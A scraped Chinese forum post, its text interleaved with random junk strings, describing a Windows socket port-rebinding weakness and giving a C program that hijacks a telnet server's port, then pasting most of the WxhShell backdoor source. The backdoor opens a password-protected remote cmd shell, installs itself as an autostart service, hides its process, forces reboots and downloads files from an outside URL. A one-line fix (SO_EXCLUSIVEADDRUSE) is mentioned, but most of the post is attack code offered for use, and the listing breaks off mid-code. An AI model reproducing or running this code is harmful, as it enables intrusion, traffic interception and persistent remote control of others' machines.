-
UID:1177
-
- 注册时间2006-03-21
- 最后登录2009-03-24
- 在线时间675小时
-
- 发帖3743
- 搜Ta的帖子
- 精华
1
- 铜板8
- 人品值493
- 贡献值9
- 交易币0
- 好评度3746
- 信誉值0
- 金币0
-
访问TA的空间加好友用道具
- 发帖
- 3743
- 铜板
- 8
- 人品值
- 493
- 贡献值
- 9
- 交易币
- 0
- 好评度
- 3746
- 信誉值
- 0
- 金币
- 0
- 所在楼道
|
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Gkp<o s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); A0fFv+RN3 $*kxTiG!7 saddr.sin_family = AF_INET; 6<$Odd ND5`Q"k
saddr.sin_addr.s_addr = htonl(INADDR_ANY); c7M%xGrP _z54Ycr4H bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); C#H:-Q& i| ZceX/ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 >5j<4ShW
zcva-ze:; 这意味着什么?意味着可以进行如下的攻击: '&sE=. (XXheC 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 P9S2?Q |QMhMGjV 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) V=lfl1Ev0J *bxzCI7b 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 > ]8a3x "3<da* D1 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 Zr-U&9.` Rcawc
Y 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 JXw^/Y$ ~j-cS
J3 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 #Jna6 HmZ{L +" 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 uio@r^Xz l/Vo-# #include @]![o % #include bcAvM; #include \'M3|w`f #include ]r-C1bKD` DWORD WINAPI ClientThread(LPVOID lpParam); 11,!XD*" int main() efD)S92 { %%Qo2^- WORD wVersionRequested; rYp3(k3 DWORD ret; }=v)Js WSADATA wsaData; wQ%mN[ BOOL val; Uz7^1.-g4 SOCKADDR_IN saddr; 0v]?6wX SOCKADDR_IN scaddr; l$YC/bP int err; VL[kJi
SOCKET s; >/#KI~}'N SOCKET sc; _ib"b# int caddsize; #BQ.R, HANDLE mt; $z$u{ DWORD tid; 7c;9$j wVersionRequested = MAKEWORD( 2, 2 ); jr)7kP@ err = WSAStartup( wVersionRequested, &wsaData ); Ed:eGm } if ( err != 0 ) { 0x9x@gF printf("error!WSAStartup failed!\n"); iA,kX\nK return -1; >OP+^^oZ< } ncSFj.}w] saddr.sin_family = AF_INET; u-1;'a ^{\<N()R //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 (708H_ &*s0\
8 saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Lgz$]Jbl8 saddr.sin_port = htons(23); 2jbIW* if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) $46{<4. { -!)xQvagD. printf("error!socket failed!\n"); !I\!;b return -1; &h~Xq^ } 4HAp{a1 val = TRUE; \3Q&~j //SO_REUSEADDR选项就是可以实现端口重绑定的 h!#:$|Q if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) J|3E- p\o { 0oh]61gC printf("error!setsockopt failed!\n"); i%{3W:!4t return -1; Z--@.IYoJ } #UtFD^h //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; `y+-H|%? //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 WO6/X/#8b //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Lw'9 fA=#Fzk 2 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) n$aA)"A # { '&99?s`u ret=GetLastError(); xcJ`1*1N printf("error!bind failed!\n");
5*\\J&H return -1; kSc{^-<R } A!vCb
8(TX listen(s,2); +p8BGNW, while(1) W[[bV { Fxc)}i` caddsize = sizeof(scaddr); GdVhK:<> //接受连接请求 j,d*?'X sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); X1tXqHJF} if(sc!=INVALID_SOCKET) o&hIHfZri { Jd,)a#<j mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 9]'($:LF08 if(mt==NULL) >\ u<&>i { \ j.x0/; printf("Thread Creat Failed!\n"); S?{/hy break; eh*6cQ.0 } Eh|. } Y:ldR CloseHandle(mt); `imWc"'Ej } a{[+<8=@1 closesocket(s); .P$IJUYO WSACleanup(); =V97;kq+v return 0; dJ:MjQG`W } WhBpv(q}. DWORD WINAPI ClientThread(LPVOID lpParam) ^2odr \ { hSGb-$~F SOCKET ss = (SOCKET)lpParam; O g%U SOCKET sc; fnCItK~y unsigned char buf[4096]; ySbqnw' SOCKADDR_IN saddr; W2;N<[wa<u long num; f&4,?E;6% DWORD val; zNSu DWORD ret; ];+#i"l //如果是隐藏端口应用的话,可以在此处加一些判断 i{^Z1;Yl //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 ^O^:$nXhYy saddr.sin_family = AF_INET; h5kPn~ saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Q{QYBh& saddr.sin_port = htons(23); INSkgOo if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Y`6rEA0 { "Dy'Kd%,%/ printf("error!socket failed!\n"); Z.i{i^/#( return -1; %b?$@H-Re } ^")F7`PF val = 100; ]=73-ywn] if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) d {2 { mgZf3?,) ret = GetLastError(); 1x~U*vbhQ return -1; `A/j1UWJ } wzjU,Mwe if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) w>xV { ]+DI.% ret = GetLastError(); V2|3i}V" return -1; 4*Z6}" } uqyB5V0gh if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) l_/C65%.: { qJR!$? printf("error!socket connect failed!\n"); >yJ-4lgZ closesocket(sc); w(nHD*nm closesocket(ss); w'7R4 return -1; m+$ @'TbP }
,%# while(1) EA<}[4#jS { |r RG=tG_' //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 n,M)oo1G //如果是嗅探内容的话,可以再此处进行内容分析和记录 ^4v*W;Q //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 L3(^{W]| num = recv(ss,buf,4096,0); 1+y"i<3) if(num>0) Zt3}Z4d send(sc,buf,num,0); mV9A{h else if(num==0) 4YU/uQm break; FrTg4 num = recv(sc,buf,4096,0); smAC,-6]~ if(num>0) bzmr"/#D3 send(ss,buf,num,0); _'x8M else if(num==0) R@T6U:1 break; 24\gbv< } [IM%b~j(^ closesocket(ss); "L&k)J closesocket(sc); g+zJ? return 0 ; MN=
sIP,zk } (9fdljl],: a?cn9i)# $<?X7n^ ========================================================== @=]8^?$t
0 KT*:F(4` 下边附上一个代码,,WXhSHELL VU!w!GN]Y -[#n+`M ========================================================== M"^K0 . yfjXqn[Z4 #include "stdafx.h" iy5R5L2 WNa0, #include <stdio.h> ek-!b!iI #include <string.h> U!q[e`B #include <windows.h> eQX`,9:5 #include <winsock2.h> iT)WR90 #include <winsvc.h> q(z7~:+qNr #include <urlmon.h> eTE2J~\ Z&yaSB #pragma comment (lib, "Ws2_32.lib") ,WTTJN #pragma comment (lib, "urlmon.lib") XbvDi+R2A OjnJV #define MAX_USER 100 // 最大客户端连接数 R 4EEelSZu #define BUF_SOCK 200 // sock buffer t)1phg4H) #define KEY_BUFF 255 // 输入 buffer JSMPyj p_terD: #define REBOOT 0 // 重启 dXu {p #define SHUTDOWN 1 // 关机 CVKnTEs l`n5~Fs #define DEF_PORT 5000 // 监听端口 a,Kky^B q7]>i!A #define REG_LEN 16 // 注册表键长度 R e:T9K'e #define SVC_LEN 80 // NT服务名长度 /-*hjX$n 0~E 6QhV: // 从dll定义API DR+,Y2!_GT typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ]YD(`42 x typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); r)l` typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); nTnRGf\T typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); )BV=|,j wgd<3 X // wxhshell配置信息 B1T5f1;uY struct WSCFG { =d20Xa int ws_port; // 监听端口 pz}mF D&[ char ws_passstr[REG_LEN]; // 口令 .5hp0L} int ws_autoins; // 安装标记, 1=yes 0=no 0-e char ws_regname[REG_LEN]; // 注册表键名 M23&<}Q8 char ws_svcname[REG_LEN]; // 服务名 nX
x=1*X char ws_svcdisp[SVC_LEN]; // 服务显示名 A]y*so!)> char ws_svcdesc[SVC_LEN]; // 服务描述信息 .;Y
x*] char ws_passmsg[SVC_LEN]; // 密码输入提示信息 WVL#s?=g int ws_downexe; // 下载执行标记, 1=yes 0=no J 3?Dj char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" hH4o;0rqJ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 J1 tDO? 6mG3fMih. }; 71iRG*O $AwZ2HY // default Wxhshell configuration ILG?r9x struct WSCFG wscfg={DEF_PORT, C!UEXj`l9 "xuhuanlingzhe", 1MQ/r*(
1, DzDj)7 "Wxhshell", U~QMR-bz "Wxhshell", 23E0~O "WxhShell Service", 5d
5t9+t "Wrsky Windows CmdShell Service", O3_B<Em "Please Input Your Password: ", co]Gmg6p 1, Va9q`XbyO " http://www.wrsky.com/wxhshell.exe", T^)plWw "Wxhshell.exe" Xem| o& }; i:Mc(mW G,DOBA // 消息定义模块 "a(1s}, char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6VR18Y!y char *msg_ws_prompt="\n\r? for help\n\r#>"; rF8
hr char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; %h* 5xB]Tt char *msg_ws_ext="\n\rExit."; @InJ_9E char *msg_ws_end="\n\rQuit."; KS! iL=i char *msg_ws_boot="\n\rReboot..."; (|0b7|'T char *msg_ws_poff="\n\rShutdown..."; ER<eX4oU char *msg_ws_down="\n\rSave to "; 8tZ};="F UH40~LxIma char *msg_ws_err="\n\rErr!"; {E~l>Z88 char *msg_ws_ok="\n\rOK!"; =J.EH| u9>6|w+ char ExeFile[MAX_PATH]; T +\ B'" int nUser = 0; FE6C6dW{ HANDLE handles[MAX_USER]; 5'9.np F) int OsIsNt; i<:p.ug-O N !IzB] SERVICE_STATUS serviceStatus; Y\8+}g;KR SERVICE_STATUS_HANDLE hServiceStatusHandle; SKxe3
/+P5)q
TKL // 函数声明 N9*UMVU int Install(void); zlMlMyG4 int Uninstall(void); w b+<a int DownloadFile(char *sURL, SOCKET wsh); W?PWJkIw int Boot(int flag); hT=f;6$ void HideProc(void); BGpk&.J int GetOsVer(void); uHrb:X!q int Wxhshell(SOCKET wsl); @U7Dunu*f void TalkWithClient(void *cs); 51/sTx<Z} int CmdShell(SOCKET sock); Vj7Hgc-, int StartFromService(void); nt`<y0ta int StartWxhshell(LPSTR lpCmdLine); 9RcM$[~ r /yHmEk& VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >nNl^ yqW VOID WINAPI NTServiceHandler( DWORD fdwControl ); IDmsz ^je528%H // 数据结构和表定义 KL~AzLI SERVICE_TABLE_ENTRY DispatchTable[] = `t9.xB#Z { b6Xi {wscfg.ws_svcname, NTServiceMain}, FG _, {NULL, NULL} {9{J^@ @ }; $O]^Xm3{@ &:#A+4& // 自我安装 $[w|oAwi int Install(void) K051usm { ]j1
vbk char svExeFile[MAX_PATH]; mrReast HKEY key; ,Z4^'1{D strcpy(svExeFile,ExeFile); yI4DVu. Q
%y,;N"ro // 如果是win9x系统,修改注册表设为自启动 rBD2Si= if(!OsIsNt) { #-dK0<: if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { NCxn^$/+>9 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 500>
CBL0O RegCloseKey(key); @:IL/o* if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xx6S`R6: RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $$~a=q,P[ RegCloseKey(key); L
B<UC?e return 0; wJ(8}eI } "_oLe;?$c } 'W+i[Ep5Q } G)4SWu0<t else { F%y{%
C7l QP<FCmt8 // 如果是NT以上系统,安装为系统服务 ?GfxBZWJ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); s!i:0} U if (schSCManager!=0) 2i"HqAB { {)uU6z
{' SC_HANDLE schService = CreateService @oA0{&G{ ( #\0TxG5'QA schSCManager, d{l{P]nr wscfg.ws_svcname, -UTV:^ wscfg.ws_svcdisp, "YD.=s SERVICE_ALL_ACCESS, k)Zn> SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , P_mi)@ SERVICE_AUTO_START, 2gH_$ SERVICE_ERROR_NORMAL, AW62~* svExeFile, ,=x
RoXYB} NULL, ?}v}U^ NULL, lnjL7x NULL, 0hb/`[Q
NULL, 5C*?1&
! NULL >z5Oy ); y78z>(jV if (schService!=0) b<8q 92F { >07shNX CloseServiceHandle(schService); dGa@<hg CloseServiceHandle(schSCManager); %/X2 l strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); }oV3EIH strcat(svExeFile,wscfg.ws_svcname); !b'IfDp[-! if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^} tLnF RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 4xp j< RegCloseKey(key); h9U+%=^O return 0; H[Cj7{V } q1P :^<[ } =J`gGDhGY- CloseServiceHandle(schSCManager); >Rr!rtc'x } qZ233pc } *qbRP"#[$ {q})kO return 1; <TL])@da } G}s;JJax [:Xn6)qz // 自我卸载 ` v>/
int Uninstall(void)
eC.w?(RB { i>WOYI9 HKEY key; e{:86C!d) '}@e5^oL if(!OsIsNt) { A}gYcc85Z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { AVU7WU{ RegDeleteValue(key,wscfg.ws_regname); $m{{,&}k RegCloseKey(key); OX`?<@6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X1O65DMr`g RegDeleteValue(key,wscfg.ws_regname); wXP_]- RegCloseKey(key); /#@LRN<oCq return 0; %;'~%\|dZM } B%) zGTp6 } QXsfp } :l4^iSf else { ysL0hwir s87 a% SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,!jR:nApE if (schSCManager!=0) >'ie!VW@ { f(^33k SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^NY+wR5Sn if (schService!=0) 7xz#D4[ { |}:e+?{o if(DeleteService(schService)!=0) { Zp^)_ 0 CloseServiceHandle(schService); LH bZjZ2 CloseServiceHandle(schSCManager); 8rla0d@ return 0; FYxUOO } b8eDD+ul k CloseServiceHandle(schService); m=#aHF } ?`za-+<r< CloseServiceHandle(schSCManager); ZDW,7b%U } )hePN4edj } }<E sS 5%EaX?0h+ return 1; /\6}SG; } Hf;RIl2F 5T7_[{ // 从指定url下载文件
$:qI&)/ int DownloadFile(char *sURL, SOCKET wsh) 5dbX%e_OP { 6-D%)Z( HRESULT hr; D7%^Ly char seps[]= "/"; yjeqv-7 char *token; I|GV
:D char *file; I:r($m char myURL[MAX_PATH]; kt;}]O2%R char myFILE[MAX_PATH]; q]2}UuM|U Sr4dY`V*:z strcpy(myURL,sURL); Uyz;U34 oI token=strtok(myURL,seps); R~U2/6V while(token!=NULL) 8 h55$j { y.L|rRe@P file=token; Wh#os,U$ token=strtok(NULL,seps); jI@bTS o } U/}AiCdj@ Pc/.*kOT GetCurrentDirectory(MAX_PATH,myFILE); cP/F|uG5 strcat(myFILE, "\\"); MBnK&GS strcat(myFILE, file); B7NmET4 send(wsh,myFILE,strlen(myFILE),0); Lr!L}y9T+ send(wsh,"...",3,0); s?4%<jz hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); de3yP, if(hr==S_OK) J R8 Z6 return 0; s@*,r@< else X; e`y:9 return 1; CUAg{] KfJ c } 7vB9K _wCI |;xfe"] // 系统电源模块 (:tTx>V# int Boot(int flag) S-H-tFy\\ { S
jC)6mo HANDLE hToken; yHa:?u6 TOKEN_PRIVILEGES tkp; FCS5@l,'< U'f$YVc if(OsIsNt) { wa-_O< OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); o3kt0NuF, LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); fRca"v V tkp.PrivilegeCount = 1; O c^6u tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; F[Guy7?O AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); eSQzjR* if(flag==REBOOT) { EhmUX@k], if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) s!nSE
return 0; F$"MFdc[ } ,_wm, else { E@\d<c. if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) I_jM-/3b return 0;
/)eNx } WF3DGqs_] } SNopAACf1 else {
ve6N if(flag==REBOOT) { wfU&{7yt if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) "4Wp>B return 0; A*-]J=:E { } ILu0J`;} else { @8 oDy$j if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) {GG~E54&B return 0; 0C"PC:h5 } 5<:VJC< } E)rOlh7 O,V6hU/ * return 1; }]Gi@Nh|o } >yPFL' =2vMw] // win9x进程隐藏模块 /eU1(oo&`5 void HideProc(void) FBwncG$]F* { ;?O883@r8 xqi*N13 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ]IbPWBX if ( hKernel != NULL ) ~_# Y,)S!z { d
=B@EyN pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); J;Z>fAE7 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); yccuTQvz FreeLibrary(hKernel); Wzf1-0t } t^bdi}[ S,)|~#5x return; ` + n } Zh fD`@>& ="'P=Xh!8 // 获取操作系统版本 J6^Ct int GetOsVer(void) ,:dEEL+>c { 9 z8<[> OSVERSIONINFO winfo; i?i7T` winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); iz%A0Z+`bg GetVersionEx(&winfo); Vm,f3~ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 3Q!J9t5dc return 1; w$U/;C else fEv<W
return 0; +ia(%[ } n.)[MC} Fv7%TK{oe // 客户端句柄模块 ou,=MpXx* int Wxhshell(SOCKET wsl) 8y4D9_{ { -'p@ lk SOCKET wsh; gw~em struct sockaddr_in client; r
PRuSk-f DWORD myID; h^ecn-PC ~QEXB*X-g' while(nUser<MAX_USER) l_j<aCY?| { @7[.>I( int nSize=sizeof(client); VM V]TPks> wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |au qj2 if(wsh==INVALID_SOCKET) return 1; >kDdWgRQ 5[j!\d}U handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); eV{FcJha if(handles[nUser]==0) zcD_}t_K closesocket(wsh); tMPXvE else mZ0oa-Iy nUser++; %Dr4~7=7a } a@_Cx WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :C:N]6_{SZ :?:j$
=nWN return 0; ,O&PLr8cJ? } ^ yukn*L a+>W // 关闭 socket N;`[R>Z~ void CloseIt(SOCKET wsh) K9qEi{[ { Wru
Fp closesocket(wsh); ch,Zk )y:_ nUser--; D`~{[cv)\ ExitThread(0); iP?ASqo{ } 5q_OuZ/6 Uh|__DUkh // 客户端请求句柄 r)#"$Sm void TalkWithClient(void *cs) )`+@j.75 { @aV~.!! Vg,>7?]6h SOCKET wsh=(SOCKET)cs; q
V
UUuyF char pwd[SVC_LEN]; ?"8A^
^ char cmd[KEY_BUFF]; WO(&<(? char chr[1]; C"Y]W-Mgg int i,j; xjhAAM W6xjqNU while (nUser < MAX_USER) { #L IsL @<TfA>*VJ if(wscfg.ws_passstr) { tId !C if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); hpz*jyh8 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^3)2]>pW //ZeroMemory(pwd,KEY_BUFF); (~pEro]?+) i=0; , w'$T) while(i<SVC_LEN) { ~h^}W$pO if!`Qid // 设置超时 ~j&:)a'^
fd_set FdRead; k-ex<el)# struct timeval TimeOut; 6[2?m*BsN FD_ZERO(&FdRead); {|J2clL FD_SET(wsh,&FdRead); Qdr-GODx TimeOut.tv_sec=8; -z 5k4Y TimeOut.tv_usec=0; .kKwdqO+zB int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~!d)J if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,S0~:c:) Mm7n?kb6 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %1?V6& pwd =chr[0]; kdMS"iN8x if(chr[0]==0xd || chr[0]==0xa) { |o=\9:wV pwd=0; !>2\OSp! break; v{{2<,l } hYUV9k: i++; "QFADk1 } AB&wn>q ;{q) |GRF // 如果是非法用户,关闭 socket q>:&xR"ra if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); rD
U6 5j } 5<?c_l9X^ rWfurB5f send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); YG1`%,OW` send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); aLk2#1$g 1gy}E=noP while(1) { cYwC,\uF gL}Y5U+s ZeroMemory(cmd,KEY_BUFF); Q.2nUT` ,Ho.O7H // 自动支持客户端 telnet标准 I.0P7eA- j=0; ;$L!`"jn while(j<KEY_BUFF) { 7C?mD75j if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ODvpMt:+ cmd[j]=chr[0]; jG(~9P7 if(chr[0]==0xa || chr[0]==0xd) { RGA*7 cmd[j]=0; 5m7Ax]\ break; lvJ{=~u } I+d(r"N1 j++; |wb(rua } ?| LB:8
hGo|2@sc // 下载文件 f uNXY-; if(strstr(cmd,"http://")) { 34^Cfh send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9c %Tv if(DownloadFile(cmd,wsh)) H'\ EA(v+ send(wsh,msg_ws_err,strlen(msg_ws_err),0); bl>b/u7/6 else g?AqC send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R|$`MX}'z } A}Dpw[Q2@8 else { 5YH
mp7c-z wVJFA1 switch(cmd[0]) { Ahbu >LPk X|1YGZJ // 帮助 5
^z ,'C case '?': { $(L7/M send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Hpg;?xAT break; b-zX3R; } /cen#pb // 安装 1`_)%Y[ZJ case 'i': { dsZ( D:) if(Install()) sK/" send(wsh,msg_ws_err,strlen(msg_ws_err),0); i6:yNb =' else 9Zsb1 M!n> send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8si^HEQ8 break; ~[y+B0I3 } de47O // 卸载 Hf{%N'4 case 'r': { ^|{fB,B if(Uninstall()) DMN H?6 send(wsh,msg_ws_err,strlen(msg_ws_err),0); (#iM0{ else \\Tp40m+ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *`.{K12T break;
5g>kr<K } >b?)WNk // 显示 wxhshell 所在路径 z ;Nk& <? case 'p': { '0$[Ujc char svExeFile[MAX_PATH]; }F`2$Q+CW strcpy(svExeFile,"\n\r"); W*`6ero strcat(svExeFile,ExeFile); pDq_nx9 send(wsh,svExeFile,strlen(svExeFile),0); TPFmSDq break; 32P ]0&_O } BIf].RY // 重启 j$oZIV7 case 'b': { emPm^M5/K send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); s;WCz if(Boot(REBOOT)) ucP MT0k send(wsh,msg_ws_err,strlen(msg_ws_err),0); &it/@8yH else { (+ anTA= closesocket(wsh); :Rj,'uH+h) ExitThread(0); {leG~[d } aBi:S3 qk break; .{Oq)^!ot } 4H)"d // 关机 _N';`wjDY case 'd': { xG/qDc send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); t+J6P)= if(Boot(SHUTDOWN)) i4rF~'h@ send(wsh,msg_ws_err,strlen(msg_ws_err),0); + qqN else { #e>MNc
'z closesocket(wsh); dKpa5f7 ExitThread(0); 't.F.t } g^UWf <xp break; Vdk+1AX } 3F!+c 8e // 获取shell ]sAD5<; case 's': { bI(98V,t CmdShell(wsh); H5 hUY'O closesocket(wsh); Z@/5~p ExitThread(0); yE,o~O break; r/L]uSN } &:K? -ac // 退出 V<pjR@ case 'x': { pPpnO send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); {K8T5zrV CloseIt(wsh); -V/i%_+Ze break; S\!E;p } z1s"C[W2T // 离开 D +""o"% case 'q': { jloyJ@ck send(wsh,msg_ws_end,strlen(msg_ws_end),0); M[_I16s closesocket(wsh); BmXGk WSACleanup(); AB\4+ CLV exit(1); n5>N9lc break; ZS_f',kE } Z"+!ayA7D } lXKZNCL } #K w\r50 V7_??L%Ct` // 提示信息 /z:K# if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kq0m^` } %WN2 xCSf } !;Nh7vG nB0ol-< return; 'Sh5W%NM } We?:DM
[ 1tpD| // shell模块句柄
#sZes int CmdShell(SOCKET sock) oyw1N;K { &[5az/Hj* STARTUPINFO si; ),,vu ZeroMemory(&si,sizeof(si)); 5-^twXC& si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +KNr1rG si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; j3&*wU_ PROCESS_INFORMATION ProcessInfo; Q4q#/z char cmdline[]="cmd"; G].KJ5,y
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 'VEpVo/ return 0; {hz:[ } Din)5CxFX K^\9R // 自身启动模式 qr6jn14.c int StartFromService(void) pASVnXJZ { n\Ixv typedef struct S
&u94hlC { ||aU>Wj4 DWORD ExitStatus; >,3
